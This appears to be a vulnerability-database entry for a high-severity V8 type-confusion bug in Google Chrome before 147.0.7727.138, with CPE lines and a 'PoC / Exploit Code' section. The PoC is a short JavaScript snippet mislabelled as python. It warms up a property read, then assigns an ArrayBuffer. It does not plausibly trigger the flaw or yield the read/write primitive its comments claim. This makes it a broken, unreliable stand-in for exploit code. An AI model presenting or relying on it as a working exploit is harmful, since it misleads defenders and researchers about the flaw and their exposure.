Type Confusion in V8 in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.138
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual PoC for V8 Type Confusion Vulnerability
function trigger_confusion() {
// Step 1: Create an object with a specific property map
let obj = { x: 1, y: 2 };
// Step 2: Force V8 to optimize the function assuming obj is a specific type
for (let i = 0; i < 10000; i++) {
obj.x;
}
// Step 3: Change the object structure (e.g., change element type)
// This might corrupt the internal type information if not handled correctly
obj.y = new ArrayBuffer(0x100);
// Step 4: Access the property to trigger the confusion
// The engine might treat the ArrayBuffer as a standard object, leading to R/W primitive
return obj.x;
}
trigger_confusion();